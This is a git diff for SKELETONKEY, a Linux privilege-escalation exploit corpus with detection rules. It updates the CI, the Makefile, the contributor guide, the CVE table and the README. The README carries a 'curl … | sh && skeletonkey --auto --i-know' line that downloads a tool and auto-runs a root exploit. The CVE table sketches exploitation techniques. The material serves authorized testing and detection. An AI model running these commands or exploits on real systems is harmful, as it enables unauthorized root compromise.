Compare commits
36 Commits
| Author | SHA1 | Date | |
|---|---|---|---|
| 72ac6f8774 | |||
| fde053a27e | |||
| 97be306fd2 | |||
| a9c8f7d8c6 | |||
| 150f16bc97 | |||
| c63ee72aa1 | |||
| 86812b043d | |||
| 0d87cbc71c | |||
| 2b1e96336e | |||
| 1571b88725 | |||
| 36814f272d | |||
| d05a46c5c6 | |||
| ea1744e6f0 | |||
| c00c3b463a | |||
| 4f30d00a1c | |||
| 3e6e0d869b | |||
| a26f471ecf | |||
| cdb8f5e8f9 | |||
| 9a4cc91619 | |||
| ac557b67d0 | |||
| a8c8d5ef1f | |||
| 3b287f84f0 | |||
| 33f81aeb69 | |||
| 5be3c46719 | |||
| 58fb2e0951 | |||
| 2904fa159c | |||
| 2873133852 | |||
| 95135213e5 | |||
| 0fbe1b058f | |||
| e13edd0cfd | |||
| 5a73565e0e | |||
| 324b539d65 | |||
| e668c3301f | |||
| 347a9af832 | |||
| 023289a03a | |||
| e7ced5db7c |
@@ -22,7 +22,8 @@ jobs:
|
||||
run: |
|
||||
sudo apt-get update -qq
|
||||
sudo apt-get install -y --no-install-recommends \
|
||||
build-essential clang make linux-libc-dev
|
||||
build-essential clang make linux-libc-dev \
|
||||
libglib2.0-dev pkg-config
|
||||
|
||||
- name: show compiler
|
||||
run: ${{ matrix.cc }} --version
|
||||
@@ -54,6 +55,18 @@ jobs:
|
||||
- name: sanity — --detect-rules sigma
|
||||
run: ./skeletonkey --detect-rules --format=sigma | head -50
|
||||
|
||||
- name: tests — detect() unit suite
|
||||
env:
|
||||
CC: ${{ matrix.cc }}
|
||||
run: |
|
||||
# Run as a non-root user so modules' "already root" gates do
|
||||
# not short-circuit before the synthetic host-fingerprint
|
||||
# checks fire. The test binary itself is platform-agnostic;
|
||||
# the assertions are #ifdef __linux__ guarded.
|
||||
sudo useradd -m -s /bin/bash skeletonkeyci 2>/dev/null || true
|
||||
sudo chown -R skeletonkeyci .
|
||||
sudo -u skeletonkeyci make test
|
||||
|
||||
# Static build job: ensures the project links cleanly when -static is
|
||||
# requested. Useful for deployment to minimal containers / fleet scans
|
||||
# where shared-libc availability isn't guaranteed.
|
||||
@@ -66,7 +79,8 @@ jobs:
|
||||
run: |
|
||||
sudo apt-get update -qq
|
||||
sudo apt-get install -y --no-install-recommends \
|
||||
build-essential make linux-libc-dev libc6-dev
|
||||
build-essential make linux-libc-dev libc6-dev \
|
||||
libglib2.0-dev pkg-config
|
||||
- name: make static
|
||||
# Glibc static linking pulls in NSS at runtime which breaks
|
||||
# getpwnam; the legacy DIRTYFAIL Makefile noted this. For now,
|
||||
|
||||
@@ -6,6 +6,8 @@ build/
|
||||
modules/*/build/
|
||||
modules/*/dirtyfail
|
||||
modules/*/skeletonkey
|
||||
/skeletonkey
|
||||
/skeletonkey-test
|
||||
.vscode/
|
||||
.idea/
|
||||
*.swp
|
||||
|
||||
@@ -0,0 +1,89 @@
|
||||
# Contributing to SKELETONKEY
|
||||
|
||||
SKELETONKEY is a curated corpus. PRs welcome for the things below.
|
||||
For everything else, open an issue first to discuss scope.
|
||||
|
||||
## What we accept
|
||||
|
||||
### 1. Kernel offsets for the `--full-chain` table
|
||||
|
||||
The 11 🟡 PRIMITIVE modules use the shared finisher in
|
||||
`core/finisher.c` to convert their primitive into a root pop via
|
||||
`modprobe_path` overwrite. That needs `&modprobe_path` (and friends)
|
||||
at runtime — resolved via env vars / `/proc/kallsyms` /
|
||||
`/boot/System.map` / the embedded `kernel_table[]` in
|
||||
`core/offsets.c`.
|
||||
|
||||
The embedded table is **empty by default** to honor the
|
||||
no-fabricated-offsets rule. Every entry must come from a real kernel
|
||||
you have root on.
|
||||
|
||||
**Workflow:**
|
||||
|
||||
```bash
|
||||
sudo skeletonkey --dump-offsets # on the target kernel build
|
||||
# Paste the printed C struct entry into core/offsets.c kernel_table[]
|
||||
# Open a PR titled "offsets: <distro> <kernel_release>"
|
||||
```
|
||||
|
||||
Include in the PR body:
|
||||
- Distro + kernel version (`uname -a`, `cat /etc/os-release`)
|
||||
- How you verified the offsets (kallsyms / System.map / debuginfo)
|
||||
- Whether `--full-chain` succeeds end-to-end against any 🟡 module
|
||||
on that kernel (if you can test on a vulnerable build)
|
||||
|
||||
### 2. New modules
|
||||
|
||||
A new CVE module is welcome if:
|
||||
|
||||
- The bug is **patched in upstream mainline** (no 0days here)
|
||||
- It has a public CVE assignment or clear advisory
|
||||
- The kernel range it affects has realistic deployment footprint
|
||||
- You can include a working detect() with branch-backport ranges
|
||||
- You ship matching detection rules (auditd at minimum)
|
||||
|
||||
Use any existing module as a template. Lightest-weight reference:
|
||||
`modules/ptrace_traceme_cve_2019_13272/skeletonkey_modules.c`.
|
||||
|
||||
Mandatory:
|
||||
- Detect short-circuits cleanly on patched kernels (we test this)
|
||||
- `--i-know` gate on exploit
|
||||
- Honest scope: `SKELETONKEY_EXPLOIT_OK` only after empirical root,
|
||||
otherwise `EXPLOIT_FAIL` with diagnostic
|
||||
- `NOTICE.md` crediting the original CVE reporter + PoC author
|
||||
|
||||
After the module file exists, wire it into:
|
||||
- `core/registry.h` (extern declaration)
|
||||
- `skeletonkey.c` main() (register call)
|
||||
- `Makefile` (new objects + ALL_OBJS)
|
||||
- `CVES.md` (inventory entry)
|
||||
|
||||
### 3. Detection rules
|
||||
|
||||
If you're adding only detection coverage (no exploit) for an
|
||||
existing or new CVE, that's fine. Drop a sigma rule into the module
|
||||
or a new auditd rule file.
|
||||
|
||||
### 4. Bug reports + CVE-status corrections
|
||||
|
||||
Distro backports that patched a CVE without bumping the upstream
|
||||
version → file an issue. Same for kernels we mis-classify as
|
||||
vulnerable.
|
||||
|
||||
## What we don't accept
|
||||
|
||||
- Untested code paths claiming `SKELETONKEY_EXPLOIT_OK`
|
||||
- Per-kernel offsets fabricated without verification
|
||||
- Modules without detection rules
|
||||
- 0day disclosures (responsible disclosure first; bundle here
|
||||
after upstream patch ships)
|
||||
- Container escapes that don't chain to host root
|
||||
|
||||
## Code style
|
||||
|
||||
C99. Match the surrounding file. Run `make` and the existing
|
||||
CI build (`.github/workflows/build.yml`) before opening the PR.
|
||||
|
||||
## License
|
||||
|
||||
By contributing you agree your work is MIT-licensed.
|
||||
@@ -23,7 +23,33 @@ Status legend:
|
||||
- 🔴 **DEPRECATED** — fully patched everywhere relevant; kept for
|
||||
historical reference only
|
||||
|
||||
**Counts (v0.3.1):** 🟢 13 · 🟡 11 (all `--full-chain` capable) · 🔵 0 · ⚪ 1 · 🔴 0
|
||||
**Counts:** 31 modules total — 28 verified (🟢 14 · 🟡 14) plus 3
|
||||
ported-but-unverified (`dirtydecrypt`, `fragnesia`, `pack2theroot` —
|
||||
see note below). 🔵 0 · ⚪ 0 planned-with-stub · 🔴 0. (One ⚪ row
|
||||
below — CVE-2026-31402 — is a *candidate* with no module, not counted
|
||||
as a module.)
|
||||
|
||||
> **Note on `dirtydecrypt` / `fragnesia` / `pack2theroot`:** all three
|
||||
> are ported from public PoCs. The **exploit bodies** are not yet
|
||||
> VM-verified end-to-end, so they're listed 🟡 but excluded from the
|
||||
> 28-module verified corpus.
|
||||
>
|
||||
> All three now have **pinned fix commits and version-based
|
||||
> `detect()`**:
|
||||
> - `pack2theroot` reads PackageKit's `VersionMajor/Minor/Micro` over
|
||||
> D-Bus and compares against fix release **1.3.5** (commit `76cfb675`).
|
||||
> - `dirtydecrypt` uses the `kernel_range` model against mainline fix
|
||||
> **`a2567217`** (Linux 7.0); kernels < 7.0 predate the vulnerable
|
||||
> rxgk code per Debian's tracker.
|
||||
> - `fragnesia` uses `kernel_range` against mainline **7.0.9**; older
|
||||
> Debian-stable branches (5.10/6.1/6.12) are still listed vulnerable
|
||||
> on Debian's tracker — backport entries will extend the table as
|
||||
> distros publish them.
|
||||
>
|
||||
> `--auto` auto-enables active probes (forked per module so a probe
|
||||
> crash cannot tear down the scan), which lets all three give an
|
||||
> empirical confirmation on top of the version verdict. See each
|
||||
> module's `MODULE.md`.
|
||||
|
||||
Every module ships a `NOTICE.md` crediting the original CVE
|
||||
reporter and PoC author. `skeletonkey --dump-offsets` populates the
|
||||
@@ -59,7 +85,13 @@ root on a host can upstream their kernel's offsets via PR.
|
||||
| CVE-2023-4622 | AF_UNIX garbage-collector race UAF | LPE (slab UAF, plain unprivileged) | mainline 6.6-rc1 (Aug 2023) | `af_unix_gc` | 🟡 | Lin Ma. Two-thread race driver: SCM_RIGHTS cycle vs unix_gc trigger; kmalloc-512 (SLAB_TYPESAFE_BY_RCU) refill via msg_msg. **Widest deployment of any module — bug exists since 2.x.** No userns required. Branch backports: 4.14.326 / 4.19.295 / 5.4.257 / 5.10.197 / 5.15.130 / 6.1.51 / 6.5.0. |
|
||||
| CVE-2022-25636 | nft_fwd_dup_netdev_offload heap OOB | LPE (kernel R/W via offload action[] OOB) | mainline 5.17 / 5.16.11 (Feb 2022) | `nft_fwd_dup` | 🟡 | Aaron Adams (NCC). NFT_CHAIN_HW_OFFLOAD chain + 16 immediates + fwd writes past action.entries[1]. msg_msg kmalloc-512 spray. Branch backports: 5.4.181 / 5.10.102 / 5.15.25 / 5.16.11. |
|
||||
| CVE-2023-0179 | nft_payload set-id memory corruption | LPE (regs->data[] OOB R/W) | mainline 6.2-rc4 / 6.1.6 (Jan 2023) | `nft_payload` | 🟡 | Davide Ornaghi. NFTA_SET_DESC variable-length element + NFTA_SET_ELEM_EXPRESSIONS payload-set whose verdict.code drives the OOB. Dual cg-96 + 1k spray. Branch backports: 4.14.302 / 4.19.269 / 5.4.229 / 5.10.163 / 5.15.88 / 6.1.6. |
|
||||
| CVE-TBD | Fragnesia (ESP shared-frag in-place encrypt) | LPE (page-cache write) | mainline TBD | `_stubs/fragnesia_TBD` | ⚪ | Stub. Per `findings/audit_leak_write_modprobe_backups_2026-05-16.md`, requires CAP_NET_ADMIN in userns netns — may or may not be in-scope depending on target environment. |
|
||||
| CVE-2021-3156 | sudo Baron Samedit — `sudoedit -s` heap overflow | LPE (userspace setuid sudo) | sudo 1.9.5p2 (Jan 2021) | `sudo_samedit` | 🟡 | Qualys Baron Samedit. Heap overflow via `sudoedit -s '\'` escaped-backslash parsing. Affects sudo 1.8.2 ≤ V ≤ 1.9.5p1. Heap-tuned exploit — may crash sudo on a mismatched layout. Ships auditd + sigma rules. |
|
||||
| CVE-2021-33909 | Sequoia — `seq_file` size_t overflow → kernel stack OOB | LPE (kernel stack OOB write) | mainline 5.13.4 / 5.10.52 / 5.4.134 (Jul 2021) | `sequoia` | 🟡 | Qualys Sequoia. `size_t`-to-`int` conversion in `seq_file` drives an OOB write off the kernel stack via a deeply-nested directory mount. Primitive-only — fires the overflow + records a witness; no portable cred chain. Branch backports: 5.13.4 / 5.10.52 / 5.4.134. Ships auditd rule. |
|
||||
| CVE-2023-22809 | sudoedit `EDITOR`/`VISUAL` `--` argv escape | LPE (userspace setuid sudoedit) | sudo 1.9.12p2 (Jan 2023) | `sudoedit_editor` | 🟢 | Structural argv-injection — an extra `--` in `EDITOR`/`VISUAL` makes setuid `sudoedit` open an attacker-chosen file as root. No kernel state, no offsets, no race. Affects sudo 1.8.0 ≤ V < 1.9.12p2. Ships auditd + sigma rules. |
|
||||
| CVE-2023-2008 | vmwgfx DRM buffer-object size-validation OOB | LPE (kernel R/W via kmalloc-512 OOB) | mainline 6.3-rc6 (Apr 2023) | `vmwgfx` | 🟡 | vmwgfx DRM `bo` size-validation gap → OOB write in kmalloc-512. Affects 4.0 ≤ K < 6.3-rc6 on hosts with the `vmwgfx` module loaded (VMware guests). Primitive-only — fires the OOB + slab witness; no cred chain. Branch backports: 6.2.10 / 6.1.23. Ships auditd rule. |
|
||||
| CVE-2026-31635 | DirtyDecrypt / DirtyCBC — rxgk missing-COW in-place decrypt | LPE (page-cache write into a setuid binary) | mainline Linux 7.0 (commit `a2567217ade970ecc458144b6be469bc015b23e5`) | `dirtydecrypt` | 🟡 | **Ported from the public V12 PoC, exploit body not yet VM-verified.** Sibling of Copy Fail / Dirty Frag in the rxgk (AFS rxrpc encryption) subsystem. `fire()` sliding-window page-cache write, ~256 fires/byte; rewrites the first 120 bytes of `/usr/bin/su` with a setuid-shell ELF. detect() is version-pinned: kernels < 7.0 predate the vulnerable rxgk code (Debian: `<not-affected, vulnerable code not present>` for 5.10/6.1/6.12); kernels ≥ 7.0 have the fix. `--active` probe fires the primitive at a `/tmp` sentinel for empirical override. x86_64. |
|
||||
| CVE-2026-46300 | Fragnesia — XFRM ESP-in-TCP `skb_try_coalesce` SHARED_FRAG loss | LPE (page-cache write into a setuid binary) | mainline 7.0.9; older Debian-stable branches still unfixed as of 2026-05-22 | `fragnesia` | 🟡 | **Ported from the public V12 PoC, exploit body not yet VM-verified.** Latent bug exposed by the Dirty Frag fix (`f4c50a4034e6`). AF_ALG GCM keystream table + userns/netns + XFRM ESP-in-TCP splice trigger pair; rewrites the first 192 bytes of `/usr/bin/su`. Needs `CONFIG_INET_ESPINTCP` + unprivileged userns (the in-scope question the old `_stubs/fragnesia_TBD` raised — resolved: ships, reports PRECOND_FAIL when the userns gate is closed). detect() is version-pinned at 7.0.9; older branches that haven't backported yet are flagged VULNERABLE on the version check (override empirically via `--active`). PoC's ANSI TUI dropped in the port. x86_64. |
|
||||
| CVE-2026-41651 | Pack2TheRoot — PackageKit `InstallFiles` TOCTOU | LPE (userspace D-Bus daemon → `.deb` postinst as root) | PackageKit 1.3.5 (commit `76cfb675`, 2026-04-22) | `pack2theroot` | 🟡 | **Ported from the public Vozec PoC, not yet VM-verified.** Two back-to-back `InstallFiles` D-Bus calls — first `SIMULATE` (polkit bypass + queues a GLib idle), then immediately `NONE` + malicious `.deb` (overwrites the cached flags before the idle fires). GLib priority ordering makes the overwrite deterministic, not a race. Disclosure by **Deutsche Telekom security**. Affects PackageKit 1.0.2 → 1.3.4 — default-enabled on Ubuntu Desktop, Debian, Fedora, Rocky/RHEL via Cockpit. `detect()` reads `VersionMajor/Minor/Micro` over D-Bus → high-confidence verdict (vs. precondition-only for dirtydecrypt/fragnesia). Debian-family only (PoC's built-in `.deb` builder). Needs `libglib2.0-dev` at build time; Makefile autodetects via `pkg-config gio-2.0` and falls through to a stub when absent. |
|
||||
|
||||
## Operations supported per module
|
||||
|
||||
@@ -91,6 +123,13 @@ Symbols: ✓ = supported, — = not applicable / no automated path.
|
||||
| af_unix_gc | ✓ | ✓ (race) | — (upgrade kernel) | ✓ (queue drain) | ✓ (auditd) |
|
||||
| nft_fwd_dup | ✓ | ✓ (primitive) | — (upgrade kernel) | ✓ (queue drain) | ✓ (auditd) |
|
||||
| nft_payload | ✓ | ✓ (primitive) | — (upgrade kernel) | ✓ (queue drain) | ✓ (auditd + sigma) |
|
||||
| sudo_samedit | ✓ | ✓ (primitive) | — (upgrade sudo) | ✓ (crumb nuke) | ✓ (auditd + sigma) |
|
||||
| sequoia | ✓ | ✓ (primitive) | — (upgrade kernel) | ✓ (nested-tree + mount teardown) | ✓ (auditd) |
|
||||
| sudoedit_editor | ✓ | ✓ | — (upgrade sudo) | ✓ (revert written file) | ✓ (auditd + sigma) |
|
||||
| vmwgfx | ✓ | ✓ (primitive) | — (upgrade kernel) | ✓ (log unlink) | ✓ (auditd) |
|
||||
| dirtydecrypt | ✓ (+ `--active`) | ✓ (ported) | — (upgrade kernel) | ✓ (evict page cache) | ✓ (auditd + sigma) |
|
||||
| fragnesia | ✓ (+ `--active`) | ✓ (ported) | — (upgrade kernel) | ✓ (evict page cache) | ✓ (auditd + sigma) |
|
||||
| pack2theroot | ✓ (PK version via D-Bus) | ✓ (ported) | — (upgrade PackageKit ≥ 1.3.5) | ✓ (rm /tmp + `dpkg -r`) | ✓ (auditd + sigma) |
|
||||
|
||||
## Pipeline for additions
|
||||
|
||||
|
||||
@@ -20,7 +20,7 @@ BUILD := build
|
||||
BIN := skeletonkey
|
||||
|
||||
# core/
|
||||
CORE_SRCS := core/registry.c core/kernel_range.c core/offsets.c core/finisher.c
|
||||
CORE_SRCS := core/registry.c core/kernel_range.c core/offsets.c core/finisher.c core/host.c
|
||||
CORE_OBJS := $(patsubst %.c,$(BUILD)/%.o,$(CORE_SRCS))
|
||||
|
||||
# Family: copy_fail_family
|
||||
@@ -126,17 +126,90 @@ NPL_DIR := modules/nft_payload_cve_2023_0179
|
||||
NPL_SRCS := $(NPL_DIR)/skeletonkey_modules.c
|
||||
NPL_OBJS := $(patsubst %.c,$(BUILD)/%.o,$(NPL_SRCS))
|
||||
|
||||
SAM_DIR := modules/sudo_samedit_cve_2021_3156
|
||||
SAM_SRCS := $(SAM_DIR)/skeletonkey_modules.c
|
||||
SAM_OBJS := $(patsubst %.c,$(BUILD)/%.o,$(SAM_SRCS))
|
||||
|
||||
SEQ_DIR := modules/sequoia_cve_2021_33909
|
||||
SEQ_SRCS := $(SEQ_DIR)/skeletonkey_modules.c
|
||||
SEQ_OBJS := $(patsubst %.c,$(BUILD)/%.o,$(SEQ_SRCS))
|
||||
|
||||
SUE_DIR := modules/sudoedit_editor_cve_2023_22809
|
||||
SUE_SRCS := $(SUE_DIR)/skeletonkey_modules.c
|
||||
SUE_OBJS := $(patsubst %.c,$(BUILD)/%.o,$(SUE_SRCS))
|
||||
|
||||
VMW_DIR := modules/vmwgfx_cve_2023_2008
|
||||
VMW_SRCS := $(VMW_DIR)/skeletonkey_modules.c
|
||||
VMW_OBJS := $(patsubst %.c,$(BUILD)/%.o,$(VMW_SRCS))
|
||||
|
||||
# Family: dirtydecrypt (CVE-2026-31635) — rxgk page-cache write
|
||||
DDC_DIR := modules/dirtydecrypt_cve_2026_31635
|
||||
DDC_SRCS := $(DDC_DIR)/skeletonkey_modules.c
|
||||
DDC_OBJS := $(patsubst %.c,$(BUILD)/%.o,$(DDC_SRCS))
|
||||
|
||||
# Family: fragnesia (CVE-2026-46300) — XFRM ESP-in-TCP page-cache write
|
||||
FGN_DIR := modules/fragnesia_cve_2026_46300
|
||||
FGN_SRCS := $(FGN_DIR)/skeletonkey_modules.c
|
||||
FGN_OBJS := $(patsubst %.c,$(BUILD)/%.o,$(FGN_SRCS))
|
||||
|
||||
# Family: pack2theroot (CVE-2026-41651) — PackageKit TOCTOU userspace LPE.
|
||||
# Needs GLib/GIO for D-Bus; the build autodetects via `pkg-config gio-2.0`.
|
||||
# When absent (e.g. no libglib2.0-dev on the build host), the module
|
||||
# compiles as a stub that returns PRECOND_FAIL with a hint to install
|
||||
# the dev package and rebuild.
|
||||
P2TR_DIR := modules/pack2theroot_cve_2026_41651
|
||||
P2TR_SRCS := $(P2TR_DIR)/skeletonkey_modules.c
|
||||
P2TR_OBJS := $(patsubst %.c,$(BUILD)/%.o,$(P2TR_SRCS))
|
||||
|
||||
P2TR_GIO_OK := $(shell pkg-config --exists gio-2.0 2>/dev/null && echo 1 || echo 0)
|
||||
ifeq ($(P2TR_GIO_OK),1)
|
||||
P2TR_CFLAGS := $(shell pkg-config --cflags gio-2.0) -DPACK2TR_HAVE_GIO
|
||||
P2TR_LIBS := $(shell pkg-config --libs gio-2.0)
|
||||
else
|
||||
P2TR_CFLAGS :=
|
||||
P2TR_LIBS :=
|
||||
endif
|
||||
|
||||
# Per-object CFLAGS for the pack2theroot translation unit (GLib include
|
||||
# paths). Target-specific vars are scoped to this object's recipe.
|
||||
$(P2TR_OBJS): CFLAGS += $(P2TR_CFLAGS)
|
||||
|
||||
# Top-level dispatcher
|
||||
TOP_OBJ := $(BUILD)/skeletonkey.o
|
||||
|
||||
ALL_OBJS := $(TOP_OBJ) $(CORE_OBJS) $(CFF_OBJS) $(DP_OBJS) $(EB_OBJS) $(PK_OBJS) $(NFT_OBJS) $(OVL_OBJS) $(CR4_OBJS) $(DCOW_OBJS) $(PTM_OBJS) $(NXC_OBJS) $(AFP_OBJS) $(FUL_OBJS) $(STR_OBJS) $(AFP2_OBJS) $(CRA_OBJS) $(OSU_OBJS) $(NSU_OBJS) $(AUG_OBJS) $(NFD_OBJS) $(NPL_OBJS)
|
||||
# All module objects in one var so both the main binary and the test
|
||||
# binary can re-use the list without duplicating the long enumeration.
|
||||
MODULE_OBJS := $(CFF_OBJS) $(DP_OBJS) $(EB_OBJS) $(PK_OBJS) $(NFT_OBJS) \
|
||||
$(OVL_OBJS) $(CR4_OBJS) $(DCOW_OBJS) $(PTM_OBJS) $(NXC_OBJS) \
|
||||
$(AFP_OBJS) $(FUL_OBJS) $(STR_OBJS) $(AFP2_OBJS) $(CRA_OBJS) \
|
||||
$(OSU_OBJS) $(NSU_OBJS) $(AUG_OBJS) $(NFD_OBJS) $(NPL_OBJS) \
|
||||
$(SAM_OBJS) $(SEQ_OBJS) $(SUE_OBJS) $(VMW_OBJS) \
|
||||
$(DDC_OBJS) $(FGN_OBJS) $(P2TR_OBJS)
|
||||
|
||||
.PHONY: all clean debug static help
|
||||
ALL_OBJS := $(TOP_OBJ) $(CORE_OBJS) $(MODULE_OBJS)
|
||||
|
||||
# Tests — `make test` builds and runs the detect() unit-test harness.
|
||||
# Links against the same module objects as the main binary minus the
|
||||
# top-level dispatcher (which provides main(); the test has its own).
|
||||
TEST_DIR := tests
|
||||
TEST_SRCS := $(TEST_DIR)/test_detect.c
|
||||
TEST_OBJS := $(patsubst %.c,$(BUILD)/%.o,$(TEST_SRCS))
|
||||
TEST_BIN := skeletonkey-test
|
||||
TEST_ALL_OBJS := $(TEST_OBJS) $(CORE_OBJS) $(MODULE_OBJS)
|
||||
|
||||
.PHONY: all clean debug static help test
|
||||
|
||||
all: $(BIN)
|
||||
|
||||
$(BIN): $(ALL_OBJS)
|
||||
$(CC) $(CFLAGS) $(LDFLAGS) -o $@ $^ -lpthread
|
||||
$(CC) $(CFLAGS) $(LDFLAGS) -o $@ $^ -lpthread $(P2TR_LIBS)
|
||||
|
||||
$(TEST_BIN): $(TEST_ALL_OBJS)
|
||||
$(CC) $(CFLAGS) $(LDFLAGS) -o $@ $^ -lpthread $(P2TR_LIBS)
|
||||
|
||||
test: $(TEST_BIN)
|
||||
@echo "[*] running test suite ($(TEST_BIN))"
|
||||
./$(TEST_BIN)
|
||||
|
||||
# Generic compile: any .c → corresponding .o under build/
|
||||
$(BUILD)/%.o: %.c
|
||||
@@ -150,13 +223,14 @@ static: LDFLAGS += -static
|
||||
static: clean $(BIN)
|
||||
|
||||
clean:
|
||||
rm -rf $(BUILD) $(BIN)
|
||||
rm -rf $(BUILD) $(BIN) $(TEST_BIN)
|
||||
|
||||
help:
|
||||
@echo "Targets:"
|
||||
@echo " make build optimized skeletonkey binary"
|
||||
@echo " make debug build with -O0 -g3"
|
||||
@echo " make static build a fully static binary"
|
||||
@echo " make test build + run the detect() unit test suite"
|
||||
@echo " make clean remove build artifacts"
|
||||
@echo ""
|
||||
@echo "Per-module (legacy) — not built by default:"
|
||||
|
||||
@@ -1,172 +1,224 @@
|
||||
# SKELETONKEY
|
||||
|
||||
> A curated, actively-maintained corpus of Linux kernel LPE exploits —
|
||||
> bundled with their detection signatures, patch status, and version
|
||||
> ranges. Run it on a system you own (or are authorized to test) and
|
||||
> it tells you which historical and recent CVEs that system is still
|
||||
> vulnerable to, and — with explicit confirmation — gets you root.
|
||||
[](https://github.com/KaraZajac/SKELETONKEY/releases/latest)
|
||||
[](LICENSE)
|
||||
[](CVES.md)
|
||||
[](#)
|
||||
|
||||
```
|
||||
╭───╮
|
||||
╱ ╲
|
||||
│ ● │════════════════════════════════════════════════════════╗
|
||||
╲ ╱ ╔══╩══╗
|
||||
╰───╯ ║ ╔═╝
|
||||
║ ║
|
||||
╚═══╝
|
||||
> **One curated binary. 28 verified Linux LPE exploits, 2016 → 2026
|
||||
> (+3 ported-but-unverified). Detection rules in the box. One command
|
||||
> picks the safest one and runs it.**
|
||||
|
||||
███████╗██╗ ██╗███████╗██╗ ███████╗████████╗ ██████╗ ███╗ ██╗██╗ ██╗███████╗██╗ ██╗
|
||||
██╔════╝██║ ██╔╝██╔════╝██║ ██╔════╝╚══██╔══╝██╔═══██╗████╗ ██║██║ ██╔╝██╔════╝╚██╗ ██╔╝
|
||||
███████╗█████╔╝ █████╗ ██║ █████╗ ██║ ██║ ██║██╔██╗ ██║█████╔╝ █████╗ ╚████╔╝
|
||||
╚════██║██╔═██╗ ██╔══╝ ██║ ██╔══╝ ██║ ██║ ██║██║╚██╗██║██╔═██╗ ██╔══╝ ╚██╔╝
|
||||
███████║██║ ██╗███████╗███████╗███████╗ ██║ ╚██████╔╝██║ ╚████║██║ ██╗███████╗ ██║
|
||||
╚══════╝╚═╝ ╚═╝╚══════╝╚══════╝╚══════╝ ╚═╝ ╚═════╝ ╚═╝ ╚═══╝╚═╝ ╚═╝╚══════╝ ╚═╝
|
||||
```bash
|
||||
curl -sSL https://github.com/KaraZajac/SKELETONKEY/releases/latest/download/install.sh | sh \
|
||||
&& skeletonkey --auto --i-know
|
||||
```
|
||||
|
||||
> ⚠️ **Authorized testing only.** SKELETONKEY is a research and red-team
|
||||
> tool. By using it you assert you have explicit authorization to test
|
||||
> the target system. See [`docs/ETHICS.md`](docs/ETHICS.md).
|
||||
> ⚠️ **Authorized testing only.** SKELETONKEY runs real exploits. By
|
||||
> using it you assert you have explicit authorization to test the
|
||||
> target system. See [`docs/ETHICS.md`](docs/ETHICS.md).
|
||||
|
||||
## Why use this
|
||||
|
||||
Most Linux privesc tooling is broken in one of three ways:
|
||||
|
||||
- **`linux-exploit-suggester` / `linpeas`** — tell you what *might*
|
||||
work, run nothing
|
||||
- **`auto-root-exploit` / `kernelpop`** — bundle exploits but ship
|
||||
no detection signatures and went stale years ago
|
||||
- **Per-CVE PoC repos** — one author, one distro, abandoned within
|
||||
months
|
||||
|
||||
SKELETONKEY is one binary, actively maintained, with detection rules
|
||||
for every CVE in the bundle — same project for red and blue teams.
|
||||
|
||||
## Who it's for
|
||||
|
||||
| Audience | What you get |
|
||||
|---|---|
|
||||
| **Red team / pentesters** | One tested binary. `--auto` ranks vulnerable modules by safety and runs the safest. Honest scope reporting — never claims root it didn't actually get. |
|
||||
| **Sysadmins** | `skeletonkey --scan` (no sudo needed) tells you which boxes still need patching. Fleet-scan tool included. JSON output for CI gates ([schema](docs/JSON_SCHEMA.md)). |
|
||||
| **Blue team / SOC** | Auditd + sigma + yara + falco rules for every CVE. `--detect-rules --format=auditd \| sudo tee …` ships SIEM coverage in one command. |
|
||||
| **CTF / training** | Reproducible LPE environment with public CVEs across a 10-year timeline. Each module documents the bug, the trigger, and the fix. |
|
||||
|
||||
## Corpus at a glance
|
||||
|
||||
**28 verified modules** spanning the 2016 → 2026 LPE timeline, plus
|
||||
**3 ported-but-unverified** modules (`dirtydecrypt`, `fragnesia`,
|
||||
`pack2theroot` — see note below):
|
||||
|
||||
| Tier | Count | What it means |
|
||||
|---|---|---|
|
||||
| 🟢 Full chain | **14** | Lands root (or its canonical capability) end-to-end. No per-kernel offsets needed. |
|
||||
| 🟡 Primitive | **14** | Fires the kernel primitive + grooms the slab + records a witness. Default returns `EXPLOIT_FAIL` honestly. Pass `--full-chain` to engage the shared `modprobe_path` finisher (needs offsets — see [`docs/OFFSETS.md`](docs/OFFSETS.md)). |
|
||||
| ⚪ Ported, unverified | **3** | `dirtydecrypt`, `fragnesia`, `pack2theroot`. Built and registered with **version-pinned `detect()`** (Linux 7.0 / 7.0.9 / PackageKit 1.3.5 respectively), but the **exploit bodies** are not yet validated end-to-end. `--auto` auto-enables `--active` to confirm empirically on top of the version verdict. Excluded from the 28-module verified counts above. |
|
||||
|
||||
**🟢 Modules that land root on a vulnerable host:**
|
||||
copy_fail family ×5 · dirty_pipe · dirty_cow · pwnkit · overlayfs
|
||||
(CVE-2021-3493) · overlayfs_setuid (CVE-2023-0386) ·
|
||||
cgroup_release_agent · ptrace_traceme · sudoedit_editor · entrybleed
|
||||
(KASLR leak primitive)
|
||||
|
||||
**🟡 Modules with opt-in `--full-chain`:**
|
||||
af_packet · af_packet2 · af_unix_gc · cls_route4 · fuse_legacy ·
|
||||
nf_tables · nft_set_uaf · nft_fwd_dup · nft_payload ·
|
||||
netfilter_xtcompat · stackrot · sudo_samedit · sequoia · vmwgfx
|
||||
|
||||
**⚪ Ported-but-unverified (not in the counts above):**
|
||||
dirtydecrypt (CVE-2026-31635) · fragnesia (CVE-2026-46300) ·
|
||||
pack2theroot (CVE-2026-41651) — ported from public PoCs, **exploit
|
||||
bodies not yet VM-validated**. All three have version-pinned `detect()`:
|
||||
`dirtydecrypt` against mainline fix commit `a2567217` in Linux 7.0;
|
||||
`fragnesia` against mainline 7.0.9 (older Debian-stable branches still
|
||||
unfixed); `pack2theroot` against PackageKit fix release 1.3.5
|
||||
(commit `76cfb675`), version read from the daemon over D-Bus.
|
||||
`--auto` auto-enables `--active` to confirm empirically on top.
|
||||
|
||||
See [`CVES.md`](CVES.md) for per-module CVE, kernel range, and
|
||||
detection status.
|
||||
|
||||
## Quickstart
|
||||
|
||||
```bash
|
||||
# One-shot install (x86_64 / arm64; checksum-verified)
|
||||
# Install (x86_64 / arm64; checksum-verified)
|
||||
curl -sSL https://github.com/KaraZajac/SKELETONKEY/releases/latest/download/install.sh | sh
|
||||
```
|
||||
|
||||
**skeletonkey runs as a normal unprivileged user** — that's the whole
|
||||
point. `--scan`, `--audit`, `--exploit`, and `--detect-rules` all
|
||||
work without `sudo`. Only `--mitigate` and rule-file installation
|
||||
write to root-owned paths.
|
||||
|
||||
```bash
|
||||
# What's this box vulnerable to? (no sudo)
|
||||
skeletonkey --scan
|
||||
|
||||
# Broader system hygiene (setuid binaries, world-writable, capabilities, sudo)
|
||||
skeletonkey --audit
|
||||
# Pick the safest LPE and run it
|
||||
skeletonkey --auto --i-know
|
||||
|
||||
